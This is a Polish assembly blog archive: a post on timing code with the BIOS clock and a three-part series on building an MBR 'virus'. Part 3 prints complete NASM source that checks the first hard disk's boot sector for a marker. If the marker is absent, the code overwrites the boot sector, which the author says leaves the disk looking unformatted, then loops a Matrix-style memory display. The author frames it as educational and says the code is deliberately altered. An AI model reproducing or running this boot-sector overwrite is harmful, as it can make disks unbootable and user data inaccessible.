Pokazywanie postów oznaczonych etykietą asm. Pokaż wszystkie posty
Pokazywanie postów oznaczonych etykietą asm. Pokaż wszystkie posty

poniedziałek, 26 października 2009

ASM: pomiar czasu wykonania kodu

Tak sobie co jakiś czas sprawdzam statystyki mojego bloga i okazuje się, że ludzie trafiają tu szukając rozwiązania problemu mierzenia czasu w assemblerze. Do tego jeszcze dwóch ciekawych rzeczy się dowiedziałem. Po pierwsze nie ma w sieci po polsku dobrze rozwiązanego tego problemu, albo nie ma go w ogóle, a po drugie mój blog pojawia się w wynikach wysoko przy tych poszukiwaniach. W tej sytuacji pozostało mi tylko odszukać rozwiązanie i opisać je samemu.

Aby więc zmierzyć czas wykonania kodu w assemblerze należy skorzystać z real-time clock wbudowanego w naszą maszynę i obsługiwanego przez BIOS. Niestety ma to 'urządzenie' pewną wadę. Mianowicie jego przerwanie generowane jest w stałych, stosunkowo dużych odstępach czasu, a dokładnie 55ms. Bez wątpienia nie nada się to do mierzenia czasu wykonania pojedynczych operacji.

Odczyt z RTC można wykonać korzystając z przerwania  1Ah i jego funkcji 00h. W wyniku w CX:DX otrzymujemy liczbę taktów od północy, a takt jak pamiętamy ma 55ms. Do tego jeszcze w AL uzyskkamy informację czy system pracuje dłużej niż 24h. Czyli jeśli pracuje dłużej niż 24h, to AL=1. Dokładne dane na temat tego przerwania można znaleźć w The Art Of Assembly Language Programming.

Tak jak w przypadku każdego pomiaru czasu należy pobrać wartości przed badanym blokiem i po nim, a następnie pierwszą odjąć od drugiej. Tutaj widać 2 niedogodności:
  1. trzeba odjąć od siebie 2 podwójne słowa,
  2. pomiar może być niedokładny.
 Wiemy jednak, że liczba druga jest większa lub równa pierwszej, więc możemy odjąć od siebie liczby po słowie i nie martwić się o pożyczki, a co do drugiego problemu, to maksymalny błąd wyniesie 54ms, czyli możemy uznać, że będzie pomijalnie mały. Oczywiście to zależy od tego co mierzymy. Jak zmierzymy wykonanie jednej instrukcji, to błąd będzie na poziomie 100% i możemy te dane wyrzucić. Jak zawsze działać należy z głową.

Wnikliwy umysł zauważy jeszcze jeden możliwy problem. Jeśli w czasie naszego pomiaru następi północ, to dowiemy się tylko, że była. Jeśli wystąpi raz, to jeszcze możemy wyliczyć czas do jej wystąpienia od startu i wyliczyć cały pomiar. Jeśli wystapi więcej niż raz, to niestety cały pomiar możemy wyrzucić, bo nie dowiemy się ile razy wystąpiła. W tej sytuacji pozostaje nam tylko skorzystanie z zegara systemowego (CMOS), który niestety ma dokładność do 1s, ale przyda się do takich dużych pomiarów.

Obrazek pochodzi z Freies Magazine.

sobota, 30 maja 2009

ASM: pisanie własnego MBR cz.3

Przechodzimy już do końcowego etapu tworzenia naszego wirusa wygodnie zadamawiającego się w MBR. W poprzednich częściach opisany został schemat ideowy rozwiązania, oraz kod odpowiadający za efekt wizualny. Prosty efekt wizualny uzyskiwany przez prosty kod. W tej części napisany zostanie kod odpowiedzialny za instalację "wirusa" w MBR.

Osoby, które nie przeczytały poprzednich części, muszę zasmucić, gdyż grafika dodana na początek tego postu nie jest wynikiem działania wirusa. Taki efekt graficzny, moim skromnym zdaniem popartym nie tak wielkim doświadczeniem, wymaga więcej jak 512B kodu i danych. Oczywiście można napisać wirus korzystający z MBR i reszty dysku mogący stworzyć taki efekt, jednak to nie jest celem tego artykułu. Przypominam, że naszym celem jest kod wykorzystujący tylko MBR i pamięć, a więc w zasadzie nie robiący dużych szkód na dysku.

UWAGA!
Kod tu zamieszczony i jego opisy służą tylko i wyłącznie w celach edukacyjnych. Autor nie ponosi odpowiedzialności za niewłaściwe ich wykorzystanie, szczególnie niezgodne z prawem.

Skoro wyjaśniliśmy sobie już powyższe, to można przejść do sedna sprawy. Przypomnijmy, że nasz kod ma wykonać prosty algorytm zawierający tylko 3 operacje na najwyższym poziomie abstrakcji.
  1. sprawdź czy program jest zainstalowany
  2. zainstaluj program
  3. wyświetl zawartość pamięci
  4. powrót do 3.
W tej części zajmiemy się dwoma pierwszymi funkcjami. Są one stosunkowo proste, ale znacznie rozszerzają cały projekt. W zasadzie rozszerzają go na tyle i wprowadzają nieco nowej wiedzy na temat budowy MBR w systemach Windows, że można każdej z nich poświęcić oddzielną część. Aby się nie zanudzić nie będziemy tego jednak robić.

Rozpoznaj siebie

W systemach windows na dysku w MBR znajduje się struktura pozwalająca na odczytanie znacznej ilości informacji na temat struktury logicznej dysku. W strukturze tej znajduje się na przykład nazwa systemu, czy etykieta dysku. Aby sprawdzić, czy na maszynie zainstalowany jest nasz "wirus" najlepiej będzie posłużyć się właśnie tą strukturą. Użyjemy pola, które znajduje się na początku i zawiera nazwę systemu.

      brINT13Flag     DB      90H             ; 0002h - 0EH for INT13 AH=42 READ
      brOEM           DB      \'?       \'      ; 0003h - OEM ID - Windows 95B

      brBPS           DW      512             ; 000Bh - Bytes per sector
      brSPC           DB      8               ; 000Dh - Sector per cluster

      brResCount      DW      32              ; 000Eh - Reserved sectors
      brFATs          DB      2               ; 0010h - FAT copies
      brRootEntries   DW      0               ; 0011h - Root directory entries

      brSectorCount   DW      0               ; 0013h - Sectors in volume, < 32MB
      brMedia         DB      0F8H            ; 0015h - Media descriptor

      brSPF           DW      0               ; 0016h - Sectors per FAT
      brSPH           DW      63              ; 0018h - Sectors per head/track

      brHPC           DW      128             ; 001Ah - Heads per cylinder
      brHidden        DD      63              ; 001Ch - Hidden sectors

      brSectors       DD      6305985         ; 0020h - Total number of sectors
      brSPF32         DD      6153            ; 0024h - Sector per FAT (FAT32)

      brFlags         DW      0               ; 0028h - Flags (FAT32)
      brVersion       DW      0               ; 002Ah - FS Version (FAT32)

      brRootCluster   DD      2               ; 002Ch - Root start cluster (FAT32)
      brFSInfoSector  DW      1               ; 0030h - FS Info Sector (FAT32)

      brBackupBoot    DW      6               ; 0032h - Backup Boot Record
      brReserved              TIMES 6 db 0    ; 0038h - Reserved

      brShitter               TIMES 6 db 0    ; 003Bh - Unused filler??
      brDrive         DB      80H             ; 0040h - BIOS drive number

      brHeadTemp      DB      00H             ; 0041h - Head/temp number????
      brSignature     DB      29H             ; 0042h - Extended Boot Record sig.

      brSerialNum     DD      404418EAH       ; 0043h - Volume serial number
      brLabel         DB      \'HARDDISK   \'   ; 0047h - Volume label

      brFSID          DB      \'FAT32   \'      ; 0052h - File System ID

Pole ma wystarczyć na zapisanie 8 znaków ASCII. Jak dla nas wystarczy aby miało 1B. Warto wybrać na wpisanie tam jakiś znak, który raczej się nie pojawi normalnie. Ja postawiłem na znak '?'. W zasadzie, to nieco więcej elementów wskazuje w strukturze na niepoprawny MBR. Nie ma w nim informacji o dyskach logicznych, przez co cały dysk od tego momentu będzie uznawany za obszar niesformatowany.

Zastosowanie całej struktury w tym przypadku nie ma wcale tak wielkiego sensu. W zasadzie tylko 2 pola wystarczą. 2 pierwsze pola. Można jednak rozszerzyć w przyszłości ten kod na tyle, aby kopiował główną część struktury z podstawowego MBR.

Czytamy z dysku

Aby móc sprawdzić obecność wirusa na dysku konieczne jest wczytanie MBR z dysku i porównanie jednego pola. Jak pamiętamy, do dyspozycji jest niemal cała pamięć operacyjna maszyny. W zasadzie miejsce do zapisania odczytanego MBR możemy wybrać dowolnie. jak pamiętamy sektor dla MBR znajduje się na samym początku dysku. Trzeba więc w odpowiedni sposób przygotować się do przerwania. Skorzystamy znowu z przerwania 13h z BIOS. Interesuje nas funkcja 02h. Dla funkcji przygotowujemy w:
  • ES:BX - adres bufora w pamieci
  • CS:DS - adres na dysku, ścieżka, głowica, sektor
Dla przerwania adres dyskowy danych trzeba upakować w rejestrach w nietypowy dość sposób. Polecam więc poczytać tutaj jak dokładnie to zrobić. Jako że czytamy z samego początku, nasze przygotowania są łatwe.

Przyjmujemy, że operacja czytania nie przyniosła nam żadnych błędów, była poprawnie zapisana i poprawnie przebiegła. W zasadzie, to jeśli nie, to co mamy z tym zrobić? Oczywiście jeśli kod jest błędny, to poprawić, ale jeśli wina leży po stronie dysku, to jedyne co nam pozostaje, to pominąć czytanie, pominąć pisanie i przejść do właściwego działania. Można jeszcze spróbować ponownie czytać z dysku. Błąd tutaj nie powinien się raczej pojawić, a jeśli się pojawi, to i tak nic na to nie poradzimy.

      MOV CX,0001h        ;numer sciezki i sektora do czytania
      MOV DX,0080h        ;DH-glowica,DL-HDD, czytamy z pierwszego dysku twardego

      MOV BX,1000h
      MOV ES,BX
      XOR BX,BX
      MOV AX,0201h
      INT 13h             ;no to czytamy, przyjmujemy, ze nie bylo bledu

      
      MOV AH,BYTE [ES:BX+2]
      CMP AH,\'?\'
      JZ SHORT print_mem

Po przeczytaniu z dysku, trzeba tylko porównać znak w strukturze i skoczyć dalej do wykonania kodu w odpowiednim miejscu. Czyli jeśli nie natrafimy na znak '?'. To przechodzimy do instalacji.

Instalacja

Tutaj wszystko wygląda prosto. Nawet prościej niż przy sprawdzaniu, czy wirus jest już obecny w systemie. Przygotowujemy się do przerwania 13h, funkcja 03h i wykonujemy je. Dla testów można jeszcze wypisać na ekran w odpowiednim miejscu znak jakiś jeśli zapisaliśmy poprawnie sektor. Po wykonaniu przerwania informację taką przechowuje AL.

Gotowy kod

Czas pochwalić się gotowym kodem. Nie chce mi się opisywać wszystkiego nazbyt dokładnie. Obawiam się, że zaraz jakieś script kidies zaczną irytować się, że nie działa, albo zaraz cały ten kod z powodu używania trafi na czarne listy jako wstrętny wirus. Jak dobrze, że nie jest zdolny się mnożyć na tym poziomie. Tak więc poniżej kod całego wirusa.

Przypominam, bo nie każdy może zauważył, kody celowo zawierają drobne zmiany. Zmiany te wprowadzam dość automatycznie, ponieważ napisałem sobie skrypt pomagający mi opublikować kod z formatowaniem na blogu. Kodu nie da się skompilować od razu nie dlatego, że jest zły, tylko dlatego, że został zmieniony. Proszę odszukać "błędy", nanieść poprawki i miłej zabawy. Dla ciekawostki powiem, że tak samo jak błędy powstają automatycznie, tak też mogą być automatycznie usuwane. Powodzenia :).

    ;nasm -o bootsect.dos -f bin boot_vir.asm
    
    org 7c00h
    
    start:
      JMP SHORT cz_inst   ;skaczemy do poczatku kodu wlasciwego 

      
      brINT13Flag     DB      90H             ; 0002h - 0EH for INT13 AH=42 READ
      brOEM           DB      \'?       \'      ; 0003h - OEM ID - Windows 95B

      brBPS           DW      512             ; 000Bh - Bytes per sector
      brSPC           DB      8               ; 000Dh - Sector per cluster

      brResCount      DW      32              ; 000Eh - Reserved sectors
      brFATs          DB      2               ; 0010h - FAT copies
      brRootEntries   DW      0               ; 0011h - Root directory entries

      brSectorCount   DW      0               ; 0013h - Sectors in volume, < 32MB
      brMedia         DB      0F8H            ; 0015h - Media descriptor

      brSPF           DW      0               ; 0016h - Sectors per FAT
      brSPH           DW      63              ; 0018h - Sectors per head/track

      brHPC           DW      128             ; 001Ah - Heads per cylinder
      brHidden        DD      63              ; 001Ch - Hidden sectors

      brSectors       DD      6305985         ; 0020h - Total number of sectors
      brSPF32         DD      6153            ; 0024h - Sector per FAT (FAT32)

      brFlags         DW      0               ; 0028h - Flags (FAT32)
      brVersion       DW      0               ; 002Ah - FS Version (FAT32)

      brRootCluster   DD      2               ; 002Ch - Root start cluster (FAT32)
      brFSInfoSector  DW      1               ; 0030h - FS Info Sector (FAT32)

      brBackupBoot    DW      6               ; 0032h - Backup Boot Record
      brReserved              TIMES 6 db 0    ; 0038h - Reserved

      brShitter               TIMES 6 db 0    ; 003Bh - Unused filler??
      brDrive         DB      80H             ; 0040h - BIOS drive number

      brHeadTemp      DB      00H             ; 0041h - Head/temp number????
      brSignature     DB      29H             ; 0042h - Extended Boot Record sig.

      brSerialNum     DD      404418EAH       ; 0043h - Volume serial number
      brLabel         DB      \'HARDDISK   \'   ; 0047h - Volume label

      brFSID          DB      \'FAT32   \'      ; 0052h - File System ID

    cz_inst:
      MOV CX,0001h        ;numer sciezki i sektora do czytania

      MOV DX,0080h        ;DH-glowica,DL-HDD, czytamy z pierwszego dysku twardego
      MOV BX,1000h
      MOV ES,BX
      XOR BX,BX
      MOV AX,0201h
      INT 13h             ;no to czytamy, przyjmujemy, ze nie bylo bledu

      
      MOV AH,BYTE [ES:BX+2]
      CMP AH,\'?\'
      JZ SHORT print_mem
    instal:               ;instalacja wirusa do MBR
      XOR BX,BX

      MOV ES,BX
      MOV BX,start
      MOV CX,0001h        ;numer sciezki i sektora do czytania
      MOV DX,0080h        ;DH-glowica,DL-HDD, czytamy z pierwszego dysku twardego

      MOV AX,0301h
      INT 13h             ;no to zapisujemy, nie sprawdzamy czy byl blad.
    print_mem:            ;wlasciwe dzialanie \"wirusa\"

      XOR AX,AX
      MOV DS,AX
      MOV BX,0B800h       ;ustawiamy adres pamieci ekranu w BX
      MOV ES,BX           ;przenosimy go do ES

      XOR BX,BX
    start_print:
      PUSHA
      MOV CX,0FA0h
    move_ekran:           ;przesuniecie ekranu o 80 znakow od razu
      MOV BX,CX
      MOV AX,[ES:BX-50h]

      MOV [ES:BX],AX
      DEC CX
      LOOP move_ekran
    po_move_ekran:
      POPA
      PUSH CX             ;zachowujemy CX (sam nie wiem czy potrzebnie)

      MOV CX,0A0h
    start_load:
      MOV byte AL,[DS:BX] ;czytamy bajt z pamieci
      CMP AL,00h          ;sprawdzamy czy komorka zawiera 0, jesli tak wygenerujemy jakis znak aby bylo ladnie

      JNZ short po_random
    random:               ;stosunkowo prosty generator liczb losowych - nie byl matematycznie badany
      ADD DX,10111101B    ;powinien byc tez dosc szybki

      ADD DX,BX           ;dzieki dodawaniu adresu pamieci do niego, jego okres aperiodycznosci wydaje sie byc duzy
      ROR DX,04h

      MOV AL,DL
    po_random:
      MOV byte AH,0Ah
      PUSH BX
      MOV BX,0A0h
      SUB BX,CX
      MOV word [ES:BX],AX ;piszemy na ekran

      POP BX
      INC BX              ;przesuwamy sie po pamieci
      JNZ short dalej
      PUSH DS
      POP DX
      ADD DX,1000h        ;zmieniamy segment, ale tak, aby nie nachodzil na poprzedni

      PUSH DX
      POP DS
    dalej:
      DEC CX
      LOOP start_load
      POP CX
    wait_some:
      PUSHA               ;zachowujemy rejestry
      XOR CX,CX           ;licznik jest w CX:DX

      MOV DX,4586h        ;ustawiamy licznik na 17798(4586h) mikrosekund
      MOV AH,86h
      INT 15h             ;poczekajmy chwile aby animacja byla +/- plynna

      
      POPA                ;przywracamy stan rejestrow
      JMP short start_print
    
    times 510 - ($ - start) db 0    ; dope³nienie do 510 bajtów

    dw 0aa55h        ; znacznik

A tutaj jeszcze mały powrót do części pierwszej. Screen poniżej przedstawia menu przy starcie maszyny z dodanym "systemem" reprezentującym bootsector zapisany w pliku.


Przeczytaj:
ASM: pisanie własnego MBR cz.1
ASM: pisanie własnego MBR cz.2

Grafika pochodzi z Matrix code emulator

poniedziałek, 25 maja 2009

ASM: pisanie własnego MBR cz.2

Jak wspomniałem w poprzedniej części w tej postaram się wyjaśnić dlaczego rozpoczęcie prac nad MBR było trudne. A dokładniej czemu piekielne kompilatory ASM, które zawsze sprawdzały się dobrze, teraz postanowiły odmówić posłuszeństwa.

Największy problem to dyrektywa org. Bootloader to mały program (model tiny), a dokładnie aplikacja com (przynajmniej dla windowsowców). Istotne jest gdzie do pamięci ów kod jest ładowany przez wszechmocny BIOS. Kod z MBR ładowany jest pod adres: 0000:7C00h, a więc należy zadbać, aby po załadowaniu kodu CS:IP wskazywał dokładnie jego początek. Zadanie do trudnych nie należy, jednak TASM i MASM odmówiły posłuszeństwa napotykając dyrektywę org 7c00h. I to pomimo faktu dodania wszystkich innych potrzebnych tym kompilatorom głupot. No ni jak nie szło się z nimi dogadać.

Drugi problem polegał na architekturze. Tego to akurat za specjalnie nie rozumiem i wytłumaczenie może co najwyżej sprowadzać się do bo tak. Gdy natknąłem się na ten problem, to oczywiście rozwiązania szukałem po forach i innych takich zakamarkach. W zasadzie wyszło na to, że prawdopodobnie rozwiązanie nieco innego problemu rozwiązało i mój. Otóż linker z TASM'a zwracał mi jakiś dziwaczny błąd dotyczący segmentu stosu (którego nie deklarowałem), mówiący ogólnie, że nie może "opiekować się" 16b segmentami. Dyrektywa use 16/use 32 oczywiście nic nie zmieniła. Rozwiązaniem problemu było zostawić TASM32 i TLINK32 w spokoju, na rzecz starych dobrych TASM i TLINK. Zasmuciło mnie to, bo jednak chciałem skorzystać z nieco dłuższych rejestrów, ale zostałem zmuszony do użycia 16b.

Początek na początek

Każdy dobry projekt należy zaplanować. Przy tym kodzie trzeba przynajmniej główny przebieg zaplanować. Osobiście często sprowadzam to do bazgrolenia w zeszycie, albo na przypadkowych kartkach, tak więc nie zamieszczę schematu blokowego, którym się posłużyłem. Przy tak trywialnym zadaniu wystarczy jednak posłużyć się listą.
  1. sprawdź czy program jest zainstalowany
  2. zainstaluj program
  3. wyświetl zawartość pamięci
  4. powrót do 3.
Proste. Teraz można jeszcze rozwinąć poszczególne punkty. W tym arcie pozwolę sobie jednak zająć się wyłącznie punktem 3. W zasadzie stworzenie odpowiedniego kodu dla Niego zajęło mi nie mało czasu, nawet gdy już uporałem się ze środowiskiem.

Twój prywatny Matrix

Rozwińmy od razu punkt 3 do odpowiedniego algorytmu:
  1. załaduj segment pamięci ekranu do ES
  2. wyzeruj AX,BX,DS
  3. wyzeruj CX
  4. wczytaj do AH bajt spod adresu [DS:BX]
  5. do AL wstaw bajt atrybutu
  6. zapisz pod adres [ES:CX] zawartość akumulatora
  7. zwiększ BX
  8. sprawdź czy BX = 0, jeśli NIE przejdź do 10
  9. zwiększ DS o 1
  10. zwiększ CX o 2
  11. sprawdź czy CX>0FA0h jeśli TAK wróć do 3 , jeśli NIE wróc do 4
Powyższy kod to zejście o jeden poziom abstrakcji w całym naszym kodzie. Można uznać, że nawet o 2 ponieważ pokusiłem się o podanie nazw konkretnych rejestrów i konkretnych wartości. Przyznam szczerze, ta pierwotna postać algorytmu choć jest dalej realizowana przez kod, wydaje się w tej chwili aż nazbyt abstrakcyjna. Ale to chyba tylko dlatego, że uzyskałem końcowe rozwiązanie.

W pierwszym pseudokodzie cały ten algorytm został określony jako wypisanie pamięci. Na wszelki wypadek wyjaśniam więc, że polega on na odczytywaniu bajtów z pamięci i wypisywaniu ich kolejno na ekran w trybie znakowym. Całość sprowadza się do jednej pętli z dwoma licznikami: jednym przesuwanym po pamięci głównej i drugim przesuwanym po pamięci ekranu. Tutaj taka mała dygresja. nie każdy zdaje sobie sprawę, że w pewnym momencie wyświetlimy zawartość tego do czego dokładnie piszemy. Dziwne zapętlenie, ale świat dalej istnieje.

Pierwszy kod - trywializm

Na razie jeszcze nie do końca w ramach tego projektu warto podać jakikolwiek kod który może posłużyć do pisania MBR. Dokładnie to jest to baza wyjściowa dla tego kodu.

org 7C00h
start:
times 510 - ($ - start) db 0 ; dopełnienie do 510 bajtów
dw 0aa55h ; znacznik

Proste i trywialne. Całość kompiluje się do 512B aczkolwiek na koniec będzie zawierało prawie same 0. Jest to jednak baza do dalszej pracy. Jak widać zawiera wspomnianą wcześniej dyrektywę org. Znacznie istotniejsza jest jednak końcówka. Bootsector ma dokładnie 512B długości. Aby plik miał dokładnie tyle po kompilacji dodajemy przedostatnią linię, która uzupełnia program o bajty 00h. Dopełnienie jak widać jest do 510B, a to dlatego, że BootSector musi się kończyć odpowiednio. W ostatniej linii zostaje dodany 2Bajtowy znacznik końca. Razem mamy już 512B.

Pisanie po ekranie

Pierwszy problem na który się natykamy wykonując dokładnie obmyślony algorytm to pisanie na ekran. Przyjmijmy, że rozmiar ekranu wyznacza rozmiar "strony" w pamięci. W końcu przecież w ten sposób pamięć jest wypisywana na ekran. Domyślnym jest aktualnie tryb 80x25 i tego się trzymamy. Każdy znak na ekranie opisany jest przez 2 Bajty. Oznacza to, że mamy do dyspozycji 4000B na jedną "stronę". Stąd z resztą wartość 0FA0h. Problem polega na tym, że gdy dojdziemy do końca ekranu, wracamy na jego początek. Widzimy efekt nasuwania się na siebie stron. Po zapisaniu jednej zaczyna ją przesłaniać nowa.

Drugi problem to stosunkowo duża prędkość wyświetlania. Nie bardzo można zobaczyć co w ogóle się tam pojawia. Ekran szybko migocze i można co najwyżej dostać ataku epilepsji na to patrząc.

Trzeci problem to bajt atrybutu i sama zawartość akumulatora. Trzeba zawczasu ustalić jakie ma być wyświetlanie, aby te dane przygotować.

Problemami zajmiemy się w odwrotnej kolejności. Wszystko dlatego, że jest to znacznie łatwiejsza kolejność. Poza tym chodzi też o czas jaki rozwiązanie kolejnych problemów pochłonęło.

Bajt atrybutu

Miał być Matrix(TM), to będzie Matrix. Aby to się udało potrzebny nam jaskrawy zielony kolor na litery i czarne tło. Czarne tło oczywiście jest domyślne. Kolorowy tryb tekstowy, który w komputerach PC po starcie jest domyślny używa następującej struktury bajtu atrybutu:
  • 7 - Blink - migotanie
  • 6-4 - RGB Background - kolor tła
  • 3 - Intensity - intensywność
  • 2-0 - RGB Foreground - kolor liter
Wartość bajtu atrybutu dla nas:
00001010b==0Ah
Pisząc do pamięci musimy wiedzieć w jaki sposób dane są w niej przechowywane. Architektura PC przewiduję metodą Little Indian. Oznacza to, że młodszy Bajt w słowie przechowywany jest jako pierwszy, a starszy jako drugi. Jeśli o tym zapomnimy, to spotka nas niemiła niespodzianka. Wprowadza to pierwszą zmianę do algorytmu. Pozornie tylko kosmetyczną, ale pozwalającą na odpowiednie wyświetlanie. Bajty w akumulatorze należy zamienić. Bajt z pamięci ładujemy do AL, a atrybuty do AH.

Poczekajmy chwilę

Zajmijmy się problemem bardzo szybkiego migotania aplikacji. Nie trudno domyśleć się, że wyświetlanie realizowane jest tak szybko, jak szybko procesor jest w stanie przekazać dane między obszarami pamięci i kontroler ekranu wysłać je do monitora. To stanowczo za szybko dla ludzkiego oka. Z pomocą przychodzi przerwanie 15h BIOS. Dokładny jego opis można przeczytać na przykład w opisie do Emu8086. Interesuje nas Funkcja 86h, która pozwala na wstrzymanie aplikacji na CX:DX mikrosekund.

Wyliczmy odpowiedni czas wstrzymania. Ludzkie oko rejestruje około 24klatek na sekundę. w takim razie jedna klatka jest odrysowywana co ~41667 mikrosekund. Odrysujmy więc w jednej klatce cały wiersz, aby animacja była dość szybka i dość płynna. W ciągu sekundy wyświetlanie przesunie się o cały ekran. czas wstrzymania to 521us==209h. Wpisujemy kolejno do CX:=0000,DX:=0209h.

Należy pamiętać aby przed wywołaniem przerwania zapamiętać stan procesora i przywrócić go po jego zakończeniu. Dane potrzebne dla przerwania są tymczasowe i nie muszą zostać przez nas przechowane. Aby nie wybierać konkretnych rejestrów do zachowania lepiej posłużyć się rozkazami PUSHA i POPA.
Płynne pisanie
Na razie kod powoduje zasłanianie poprzednio wypisanej strony kolejną. Trzeba to jakoś zmienić. Moje rozwiązanie sprowadza się do przesuwania pamięci ekranu zamiast jej nadpisywania w całości. Pozwolę sobie opisać końcowe rozwiązanie zamiast całego procesu dochodzenia do niego. Był on z resztą dość długi i powodował sporo błędów po drodze.
  1. przesuń "obraz" o 80 znaków w prawo
  2. ustaw CX na 160
  3. pobierz znak z pamięci do AL
  4. wstaw bajt atrybutu do AH
  5. podstaw pod BX:=160-CX
  6. zapisz akumulator: [ES:BX]:=AX
  7. zmniejsz CX o 2
  8. jeśli CX!=0 wróć do 3
Przed wykonaniem tego algorytmu także trzeba zachować stan rejestrów. Najlepiej znowu użyć PUSHA i POPA, aby nie pomylić się w kolejności operacji, a także nie zapisać za mało.

Łatwo zauważyć że teraz od razu wypisywana jest cała linia z pamięci podczas jednego przebiegu głównej pętli programu. Wróćmy więc na chwilę do czasu wstrzymania aplikacji. Sleep na 521us to teraz za mało. Aplikację trzeba wstrzymać na około 80000us. Ja osobiście ustawiłem na 83334, czyli 14586h. Zapisujemy CX:=0001h, DX=4586h i wywołujemy przerwanie 15h.

Jakoś pusto tutaj

Pamięć komputera po jego uruchomieniu nie jest wypełniona zerami. Po pierwsze załadowany został już do niej BIOS. Po drugie nasz BootSector. Po trzecie stan większości komórek jest nieokreślony. Na ogół są tam losowe wartości, mogą tam nawet być śmieci z pozostałej sesji (nawet 15 minut po wyłączeniu stan pamięci potrafi się utrzymać). Dane te można więc odczytać i wyrzucić na ekran. Niestety w moim przypadku napotkałem całą masę pustych komórek. Pustych czyli wyraźnie zawierających same 00h. Zapewne właśnie dlatego, że kod testowany był pod maszyną wirtualną, a nie rzeczywistą. Uznałem jednak, że w prawdziwej sytacji może stać się podobnie, więc dodałem do aplikacji generator liczb pseudolosowych.
  1. DL:=AL
  2. DX+=10111101B
  3. DX+=BX (BX zawiera aktualny offset w pamieci)
  4. wykonaj obrót cykliczny na DX o 4 w prawo (ROR DX,04h).
  5. wynik odczytaj z DL
Jak widać seed dla generatora stanowi suma BX+AL. Jest ona na tyle zmienna i zależna od stanu aktualnego, że trudno przewidzieć jaki będzie wynik generatora. Doświadczalnie powiem, że okres ergodyczności ciągu kolejnych liczb losowych z generatora jest dostatecznie duży. Matematycznie nie zostało to jednak zbadane.

Przed wykonaniem kodu generatora zapamiętujemy stan maszyny. Tak jak już poprzednie razy. Generator oczywiście trzeba zapuścić dla każdej komórki o wartości 00h. Jak uzyskamy 00,h albo 32h, to się nie martwimy. Kod Matrix'a też miał sporo pustych przestrzeni.

Gotowy produkt

Kod jednego punktu głównego algorytmu udało mi się sprowadzić do 66 linii razem z komentarzami. Co ważne sam kod waży zaledwie 95B! Założę się, że można go skompresować jeszcze bardziej i uprościć, aby wykonał się szybciej.
    ;nasm -o bootsect.dos -f bin boot_vir.asm
    
    org 7c00h
    
    start:
    cz_inst:
    instal:

    print_mem:            ;wlasciwe dzialanie \"wirusa\"
      XOR AX,AX
      MOV DS,AX
      MOV BX,0B800h       ;ustawiamy adres pamieci ekranu w BX

      MOV ES,BX
      XOR BX,BX
    start_print:
      PUSHA
      MOV CX,0FA0h
    move_ekran:           ;przesuniecie ekranu o 80 znakow od razu
      MOV BX,CX

      MOV AX,[ES:BX-50h]
      MOV [ES:BX],AX
      DEC CX
      LOOP move_ekran
    po_move_ekran:
      POPA
      PUSH CX             ;zachowujemy CX (sam nie wiem czy potrzebnie)

      MOV CX,0A0h
    start_load:
      MOV byte AL,[DS:BX] ;czytamy bajt z pamieci
      CMP AL,00h          ;sprawdzamy czy komorka zawiera 0, jesli tak wygenerujemy jakis znak aby bylo ladnie

      JNZ short po_random
    random:               ;stosunkowo prosty generator liczb losowych - nie byl matematycznie badany
      ADD DX,10111101B    ;powinien byc tez dosc szybki

      ADD DX,BX           ;dzieki dodawaniu adresu pamieci do niego, jego okres aperiodycznosci wydaje sie byc duzy
      ROR DX,04h

      MOV AL,DL
    po_random:
      MOV byte AH,0Ah
      PUSH BX
      MOV BX,0A0h
      SUB BX,CX
      MOV word [ES:BX],AX ;piszemy na ekran

      POP BX
      INC BX              ;przesuwamy sie po pamieci
      JNZ short dalej
      PUSH DS
      POP DX
      ADD DX,1000h        ;zmieniamy segment, ale tak, aby nie nachodzil na poprzedni

      PUSH DX
      POP DS
    dalej:
      DEC CX
      LOOP start_load
      POP CX
    wait_some:
      PUSHA               ;zachowujemy rejestry
      MOV CX,0001h        ;licznik jest w CX:DX

      MOV DX,4586h        ;ustawiamy licznik na 83334(14586h) mikrosekund
      XOR AX,AX
      MOV CX,AX
      MOV AH,86h
      INT 15h             ;poczekajmy chwile aby animacja byla +/- plynna

      POPA                ;przywracamy stan rejestrow
      JMP short start_print
    
    times 510 - ($ - start) db 0    ; dope³nienie do 510 bajtów

    dw 0aa55h        ; znacznik

Starałem się opisać wszystko co można było w samym kodzie. Znajomość ASM jest wymagana. Poniżej odpalony kod na maszynie w VirtualBox.

Okno VirtualBox z uruchomionym "wirusem".
Na zakończenie tej części małe wyjaśnienie. W tekście zawarte jest dość mało gotowych przykładów kodów ASM głównie dlatego, że już mi się gotowego pliku na kawałki kroić nie chciało. Lenistwo jest straszne. Opisałem wszystko na tyle na ile mogłem, tak aby nawet początkujący był w stanie te fragmenty kodu napisać samodzielnie. Mam też nadzieję, że cały kod w jednym miejscu był w stanie rozjaśnić komuś w głowie dostatecznie.

W następnej części postaram się opisać dwa pozostałe punkty głównego algorytmu. Ich napisanie małpią metodą zajmuje piekielnie dużo czasu. Niestety każdy test może oznaczać uszkodzenie maszyny wirtualnej i konieczność stawiania na niej na nowo OS.

Do przejrzenia (Źródła):

niedziela, 24 maja 2009

ASM: pisanie własnego MBR cz.1

Pisanie programów komputerowych w ASM nie jest aktualnie zbyt popularne. Trzeba jednak przyznać, że w rękach sprawnego programisty język ten powinien dać najlepsze możliwości. No i oczywiście kod będzie najwydajniejszy. Assembler sprawdza się wszędzie tam, gdzie zasoby są ograniczone. Bez wątpienia pisanie Bootloadera bez ASM nie ma za wiele sensu.

Ten artykuł to dopiero wstęp do tego zajęcia. Zabawa z ASM i samym MBR to niestety zajęcie na wiele godzin, zważywszy na fakt, że materiały są ograniczone. Ponadto pojawiają się trudności z kompilatorami, które tak trywialnego kodu widać kompilować nie chcą.

Po kiego grzyba pisać własny Bootloader? Albo raczej cokolwiek na siłę samodzielnie wpisywać w MBR? Jak pamiętamy swego czasu dość popularne były (może nawet jeszcze są) wirusy infekujące właśnie ten obszar dysku. Powiedzmy, że zamarzyło mi się sprawdzić się w takim kodowaniu. Ponadto chciałem sprawdzić jakie są aktualnie możliwości takich infekcji przy najnowszych systemach z rodziny Windows.

